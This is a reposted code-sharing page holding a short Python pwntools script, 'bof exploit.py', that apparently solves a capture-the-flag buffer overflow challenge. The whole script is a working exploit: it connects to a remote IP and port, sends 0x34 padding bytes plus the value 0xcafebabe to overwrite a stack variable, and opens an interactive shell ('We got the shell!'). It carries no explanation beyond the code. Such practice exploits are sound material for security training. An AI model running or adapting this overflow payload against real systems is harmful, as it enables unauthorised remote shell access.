码迷,mamicode.com
首页 > 其他好文 > 详细

【PWN】bof exploit.py

时间:2015-07-06 14:07:23      阅读:283      评论:0      收藏:0      [点我收藏+]

标签:

#Exploit for bof
from pwn import *
#init
context(arch = ‘i386‘, os = ‘linux‘)
local=False
if local:
    p = process("./bof")
else:
    p = remote("143.248.249.64", 9000)
#address
aim_value_str = ‘\xbe\xba\xfe\xca‘
len_of_stack = 0x34
#payload
payload = ‘a‘*len_of_stack
payload += aim_value_str
#let‘s send
p.send(payload + ‘\n‘)
#yeah!We got the shell!
p.interactive()

【PWN】bof exploit.py

标签:

原文地址:http://www.cnblogs.com/windcarp/p/4624037.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!